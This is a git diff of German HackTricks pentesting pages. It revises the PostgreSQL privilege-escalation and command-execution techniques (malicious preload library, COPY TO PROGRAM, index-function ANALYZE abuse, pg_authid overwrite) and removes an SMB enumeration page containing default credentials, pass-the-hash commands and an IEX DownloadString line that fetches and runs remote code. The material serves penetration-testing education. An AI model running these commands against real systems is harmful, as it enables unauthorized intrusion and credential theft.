2. Das Verzeichnis `/tmp/` in den Wert von `dynamic_library_path` aufnehmen, z.B. `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Den Namen der bösartigen Bibliothek in den Wert von `session_preload_libraries` aufnehmen, z.B. `session_preload_libraries = 'payload.so'`
|
||||
2. Das Verzeichnis `/tmp/` in den Wert von `dynamic_library_path` einfügen, z.B. `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Den Namen der bösartigen Bibliothek in den Wert von `session_preload_libraries` einfügen, z.B. `session_preload_libraries = 'payload.so'`
|
||||
4. Die Hauptversion von PostgreSQL über die Abfrage `SELECT version()` überprüfen
|
||||
5. Den bösartigen Bibliothekscode mit dem richtigen PostgreSQL-Entwicklungspaket kompilieren Beispielcode:
|
||||
5. Den Code der bösartigen Bibliothek mit dem richtigen PostgreSQL-Entwicklungspaket kompilieren. Beispielcode:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
@ -551,7 +548,7 @@ Es ist ziemlich häufig, dass **lokale Benutzer sich in PostgreSQL anmelden kön
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Dies ist normalerweise möglich aufgrund der folgenden Zeilen in der **`pg_hba.conf`** Datei:
|
||||
>
|
||||
> ```bash
|
||||
@ -571,7 +568,7 @@ Wenn Sie versuchen, **einen anderen Benutzer Eigentümer einer Tabelle zu machen
|
||||
|
||||
<figure><img src="../images/image (537).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn man diese Idee mit der Tatsache verbindet, dass bei der Ausführung der **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) Befehle auf einer **Tabelle mit einer Indexfunktion**, die **Funktion** als Teil des Befehls mit den **Berechtigungen des Tabellenbesitzers** **aufgerufen** wird. Es ist möglich, einen Index mit einer Funktion zu erstellen und die Eigentümerberechtigungen einem **Superuser** über diese Tabelle zu geben und dann ANALYZE über die Tabelle mit der bösartigen Funktion auszuführen, die in der Lage sein wird, Befehle auszuführen, da sie die Berechtigungen des Eigentümers verwendet.
|
||||
Diese Idee mit der Tatsache zu verbinden, dass bei der Ausführung der **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) Befehle auf einer **Tabelle mit einer Indexfunktion**, die **Funktion** als Teil des Befehls mit den **Berechtigungen** des **Tabelleneigentümers** **aufgerufen** wird. Es ist möglich, einen Index mit einer Funktion zu erstellen und die Eigentümerberechtigungen einem **Superbenutzer** über diese Tabelle zu geben und dann ANALYZE über die Tabelle mit der bösartigen Funktion auszuführen, die in der Lage sein wird, Befehle auszuführen, da sie die Berechtigungen des Eigentümers verwendet.
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
@ -585,7 +582,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
||||
4. Ändern Sie den Eigentümer der Tabelle in "cloudsqladmin", was die Superuser-Rolle von GCP ist, die ausschließlich von Cloud SQL zur Verwaltung und Wartung der Datenbank verwendet wird.
|
||||
5. Führen Sie eine ANALYZE-Operation auf der Tabelle durch. Diese Aktion zwingt die PostgreSQL-Engine, in den Benutzerkontext des Eigentümers der Tabelle, "cloudsqladmin", zu wechseln. Folglich wird die bösartige Indexfunktion mit den Berechtigungen von "cloudsqladmin" aufgerufen, wodurch die Ausführung des zuvor unbefugten Shell-Befehls ermöglicht wird.
|
||||
|
||||
In PostgreSQL sieht dieser Ablauf ungefähr so aus:
|
||||
In PostgreSQL sieht dieser Ablauf folgendermaßen aus:
|
||||
```sql
|
||||
CREATE TABLE temp_table (data text);
|
||||
CREATE TABLE shell_commands_results (data text);
|
||||
@ -612,7 +609,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
||||
```
|
||||
### Lokale Anmeldung
|
||||
|
||||
Einige falsch konfigurierte PostgreSQL-Instanzen könnten die Anmeldung von jedem lokalen Benutzer erlauben, es ist möglich, lokal von 127.0.0.1 mit der **`dblink`-Funktion** anzumelden:
|
||||
Einige falsch konfigurierte PostgreSQL-Instanzen könnten die Anmeldung von beliebigen lokalen Benutzern erlauben, es ist möglich, lokal von 127.0.0.1 aus mit der **`dblink`-Funktion**:
|
||||
```sql
|
||||
\du * # Get Users
|
||||
\l # Get databases
|
||||
@ -645,7 +642,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||||
```
|
||||
### **Benutzerdefinierte Funktion mit** SECURITY DEFINER
|
||||
|
||||
[**In diesem Bericht**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql) konnten Pentester innerhalb einer von IBM bereitgestellten Postgres-Instanz Privilegien eskalieren, weil sie **diese Funktion mit dem SECURITY DEFINER-Flag gefunden haben**:
|
||||
[**In diesem Bericht**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql) konnten Pentester in eine Postgres-Instanz von IBM eindringen, weil sie **diese Funktion mit dem SECURITY DEFINER-Flag gefunden haben**:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
@ -678,19 +675,19 @@ Und dann **Befehle ausführen**:
|
||||
|
||||
<figure><img src="../images/image (649).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Pass Burteforce mit PL/pgSQL
|
||||
### Passwort-Brute-Force mit PL/pgSQL
|
||||
|
||||
**PL/pgSQL** ist eine **vollständig ausgestattete Programmiersprache**, die eine größere prozedurale Kontrolle im Vergleich zu SQL bietet. Sie ermöglicht die Verwendung von **Schleifen** und anderen **Kontrollstrukturen**, um die Programmlogik zu verbessern. Darüber hinaus haben **SQL-Anweisungen** und **Trigger** die Fähigkeit, Funktionen aufzurufen, die mit der **PL/pgSQL-Sprache** erstellt wurden. Diese Integration ermöglicht einen umfassenderen und vielseitigeren Ansatz für die Datenbankprogrammierung und -automatisierung.\
|
||||
**PL/pgSQL** ist eine **vollständig ausgestattete Programmiersprache**, die im Vergleich zu SQL eine größere prozedurale Kontrolle bietet. Sie ermöglicht die Verwendung von **Schleifen** und anderen **Kontrollstrukturen**, um die Programmlogik zu verbessern. Darüber hinaus haben **SQL-Anweisungen** und **Trigger** die Fähigkeit, Funktionen aufzurufen, die mit der **PL/pgSQL-Sprache** erstellt wurden. Diese Integration ermöglicht einen umfassenderen und vielseitigeren Ansatz für die Datenbankprogrammierung und -automatisierung.\
|
||||
**Sie können diese Sprache missbrauchen, um PostgreSQL zu zwingen, die Benutzeranmeldeinformationen zu brute-forcen.**
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
|
||||
{{#endref}}
|
||||
|
||||
### Privesc durch Überschreiben interner PostgreSQL-Tabellen
|
||||
### Privilegieneskalation durch Überschreiben interner PostgreSQL-Tabellen
|
||||
|
||||
> [!NOTE]
|
||||
> Der folgende Privesc-Vektor ist besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch geschachtelte SELECT-Anweisungen durchgeführt werden können.
|
||||
> [!TIP]
|
||||
> Der folgende Privilegieneskalationsvektor ist besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch geschachtelte SELECT-Anweisungen durchgeführt werden können.
|
||||
|
||||
Wenn Sie **PostgreSQL-Serverdateien lesen und schreiben** können, können Sie **Superuser** werden, indem Sie den PostgreSQL-Filenode auf der Festplatte überschreiben, der mit der internen `pg_authid`-Tabelle verbunden ist.
|
||||
|
||||
@ -701,7 +698,7 @@ Die Angriffsschritte sind:
|
||||
1. Erhalten Sie das PostgreSQL-Datenverzeichnis
|
||||
2. Erhalten Sie einen relativen Pfad zum Filenode, der mit der `pg_authid`-Tabelle verbunden ist
|
||||
3. Laden Sie den Filenode über die `lo_*`-Funktionen herunter
|
||||
4. Erhalten Sie den Datentyp, der mit der `pg_authid`-Tabelle verbunden ist
|
||||
4. Ermitteln Sie den Datentyp, der mit der `pg_authid`-Tabelle verbunden ist
|
||||
5. Verwenden Sie den [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor), um den [Filenode zu bearbeiten](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); setzen Sie alle `rol*`-Boolean-Flags auf 1 für volle Berechtigungen.
|
||||
6. Laden Sie den bearbeiteten Filenode über die `lo_*`-Funktionen erneut hoch und überschreiben Sie die Originaldatei auf der Festplatte
|
||||
7. _(Optional)_ Leeren Sie den In-Memory-Tabellen-Cache, indem Sie eine teure SQL-Abfrage ausführen
|
||||
@ -717,7 +714,7 @@ msf> use exploit/windows/postgres/postgres_payload
|
||||
```
|
||||
### logging
|
||||
|
||||
Im _**postgresql.conf**_ Datei können Sie die PostgreSQL-Protokolle aktivieren, indem Sie ändern:
|
||||
Innerhalb der _**postgresql.conf**_ Datei können Sie die PostgreSQL-Protokolle aktivieren, indem Sie ändern:
|
||||
```bash
|
||||
log_statement = 'all'
|
||||
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
||||
@ -726,7 +723,7 @@ sudo service postgresql restart
|
||||
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
|
||||
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
|
||||
```
|
||||
Dann **starten Sie den Dienst neu**.
|
||||
Dann, **starten Sie den Dienst neu**.
|
||||
|
||||
### pgadmin
|
||||
|
||||
|
@ -1,532 +0,0 @@
|
||||
# 139,445 - Pentesting SMB
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Port 139**
|
||||
|
||||
Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen".
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Technisch gesehen wird Port 139 als 'NBT über IP' bezeichnet, während Port 445 als 'SMB über IP' identifiziert wird. Das Akronym **SMB** steht für '**Server Message Blocks**', das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Netzwerkprotokoll auf Anwendungsebene wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Ports zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu erleichtern.
|
||||
|
||||
Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TCP/IP betrieben werden kann, wodurch die Notwendigkeit für NetBIOS über TCP/IP entfällt, durch die Nutzung von Port 445. Im Gegensatz dazu wird auf anderen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB in Verbindung mit NetBIOS über TCP/IP ausgeführt wird.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
Das **Server Message Block (SMB)** Protokoll, das im **Client-Server**-Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich innerhalb der **Windows**-Betriebssystemreihe verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so die plattformübergreifende Kommunikation über SMB erleichtert.
|
||||
|
||||
Freigaben, die **willkürliche Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **fein abgestimmte Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und unterscheiden sich von den lokalen Berechtigungen, die auf dem Server festgelegt sind.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erlangt werden, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig eingesetzt ermöglicht es den Erwerb von:
|
||||
|
||||
- Informationen über das Betriebssystem
|
||||
- Details zur übergeordneten Domäne
|
||||
- Eine Zusammenstellung lokaler Benutzer und Gruppen
|
||||
- Informationen über verfügbare SMB-Freigaben
|
||||
- Die effektive Systemsicherheitsrichtlinie
|
||||
|
||||
Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block)-Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Enumeration gegen ein Ziel, das durch `target_ip` angegeben ist, durchzuführen.
|
||||
|
||||
## Was ist NTLM
|
||||
|
||||
Wenn Sie nicht wissen, was NTLM ist oder wie es funktioniert und wie man es ausnutzen kann, werden Sie diese Seite über **NTLM** sehr interessant finden, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie Sie es ausnutzen können:**
|
||||
|
||||
{{#ref}}
|
||||
../windows-hardening/ntlm/
|
||||
{{#endref}}
|
||||
|
||||
## **Server Enumeration**
|
||||
|
||||
### **Scannen** eines Netzwerks auf der Suche nach Hosts:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB-Serverversion
|
||||
|
||||
Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Informationen in anderen verwendeten Tools nicht angezeigt werden, können Sie:
|
||||
|
||||
- Das **MSF**-Hilfsmodul _**auxiliary/scanner/smb/smb_version**_ verwenden
|
||||
- Oder dieses Skript:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
#Description:
|
||||
# Requires root or enough permissions to use tcpdump
|
||||
# Will listen for the first 7 packets of a null login
|
||||
# and grab the SMB Version
|
||||
#Notes:
|
||||
# Will sometimes not capture or will print multiple
|
||||
# lines. May need to run a second time for success.
|
||||
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
||||
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
||||
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **Suche nach Exploit**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **Mögliche** Anmeldedaten
|
||||
|
||||
| **Benutzername(n)** | **Häufige Passwörter** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(leer)_ | _(leer)_ |
|
||||
| gast | _(leer)_ |
|
||||
| Administrator, admin | _(leer)_, passwort, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | passwort, test, lab, demo |
|
||||
|
||||
### Brute Force
|
||||
|
||||
- [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
|
||||
### SMB-Umgebungsinformationen
|
||||
|
||||
### Informationen abrufen
|
||||
```bash
|
||||
#Dump interesting information
|
||||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
||||
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
||||
|
||||
#Connect to the rpc
|
||||
rpcclient -U "" -N <IP> #No creds
|
||||
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
||||
rpcclient -U "username%passwd" <IP> #With creds
|
||||
#You can use querydispinfo and enumdomusers to query user information
|
||||
|
||||
#Dump user information
|
||||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
|
||||
#Map possible RPC endpoints
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Benutzer, Gruppen und angemeldete Benutzer auflisten
|
||||
|
||||
Diese Informationen sollten bereits von enum4linux und enum4linux-ng gesammelt worden sein.
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
||||
|
||||
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
||||
|
||||
rpcclient -U "" -N 10.10.10.10
|
||||
enumdomusers
|
||||
enumdomgroups
|
||||
```
|
||||
### Lokale Benutzer auflisten
|
||||
|
||||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Oneliner
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
### Metasploit - Lokale Benutzer auflisten
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **Auflisten von LSARPC und SAMR rpcclient**
|
||||
|
||||
{{#ref}}
|
||||
pentesting-smb/rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### GUI-Verbindung von Linux
|
||||
|
||||
#### Im Terminal:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### Im Datei-Browser-Fenster (nautilus, thunar, etc)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Auflisten von Freigaben
|
||||
|
||||
### Freigegebene Ordner auflisten
|
||||
|
||||
Es wird immer empfohlen zu prüfen, ob Sie auf etwas zugreifen können. Wenn Sie keine Anmeldeinformationen haben, versuchen Sie es mit **null** **Anmeldeinformationen/Gastbenutzer**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
|
||||
smbmap -H <IP> [-P <PORT>] #Null user
|
||||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||||
|
||||
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **Verbinden/Auflisten eines freigegebenen Ordners**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||||
|
||||
#List with smbmap, without folder it list everything
|
||||
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Manuell Windows-Freigaben auflisten und sich mit ihnen verbinden**
|
||||
|
||||
Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, einen Versuch zu starten, sich manuell mit einer Freigabe zu verbinden. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert.
|
||||
|
||||
Häufige Freigabenamen für Windows-Ziele sind
|
||||
|
||||
- C$
|
||||
- D$
|
||||
- ADMIN$
|
||||
- IPC$
|
||||
- PRINT$
|
||||
- FAX$
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(Häufige Freigabenamen aus _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
Sie können versuchen, sich mit ihnen zu verbinden, indem Sie den folgenden Befehl verwenden
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
oder dieses Skript (unter Verwendung einer Null-Sitzung)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
ip='<TARGET-IP-HERE>'
|
||||
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
||||
|
||||
for share in ${shares[*]}; do
|
||||
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||||
|
||||
if [[ -z $output ]]; then
|
||||
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||||
else
|
||||
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||||
fi
|
||||
done
|
||||
```
|
||||
Beispiele
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Freigaben von Windows auflisten / ohne Drittanbieter-Tools**
|
||||
|
||||
PowerShell
|
||||
```bash
|
||||
# Retrieves the SMB shares on the locale computer.
|
||||
Get-SmbShare
|
||||
Get-WmiObject -Class Win32_Share
|
||||
# Retrieves the SMB shares on a remote computer.
|
||||
get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
CMD-Konsole
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Snap-in (grafisch)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (grafisch), geben Sie `\\<ip>\` ein, um die verfügbaren nicht versteckten Freigaben anzuzeigen.
|
||||
|
||||
### Ein freigegebenes Verzeichnis einbinden
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Dateien herunterladen**
|
||||
|
||||
Lesen Sie die vorherigen Abschnitte, um zu erfahren, wie Sie sich mit Anmeldeinformationen/Pass-the-Hash verbinden.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
```
|
||||
|
||||
```bash
|
||||
#Download all
|
||||
smbclient //<IP>/<share>
|
||||
> mask ""
|
||||
> recurse
|
||||
> prompt
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
Befehle:
|
||||
|
||||
- mask: gibt die Maske an, die verwendet wird, um die Dateien im Verzeichnis zu filtern (z.B. "" für alle Dateien)
|
||||
- recurse: schaltet die Rekursion ein (Standard: aus)
|
||||
- prompt: schaltet die Aufforderung zur Eingabe von Dateinamen aus (Standard: ein)
|
||||
- mget: kopiert alle Dateien, die der Maske entsprechen, vom Host auf die Client-Maschine
|
||||
|
||||
(_Informationen aus der Man-Seite von smbclient_)
|
||||
|
||||
### Suche nach freigegebenen Ordnern im Domänenbereich
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) Spider.
|
||||
- `-M spider_plus [--share <share_name>]`
|
||||
- `--pattern txt`
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Besonders interessant sind die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über Gruppenrichtlinien mit **Autologon** konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten.
|
||||
|
||||
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
|
||||
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
|
||||
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
|
||||
|
||||
> [!NOTE]
|
||||
> Der **SYSVOL-Freigabe** ist für alle authentifizierten Benutzer in der Domäne **lesbar**. Dort können Sie viele verschiedene Batch-, VBScript- und PowerShell-**Skripte** **finden**.\
|
||||
> Sie sollten die **Skripte** darin **überprüfen**, da Sie möglicherweise sensible Informationen wie **Passwörter** **finden**.
|
||||
|
||||
## Registrierung lesen
|
||||
|
||||
Sie können möglicherweise die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** enthalten:
|
||||
|
||||
| **Einstellung** | **Beschreibung** |
|
||||
| --------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? |
|
||||
| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? |
|
||||
| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? |
|
||||
| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? |
|
||||
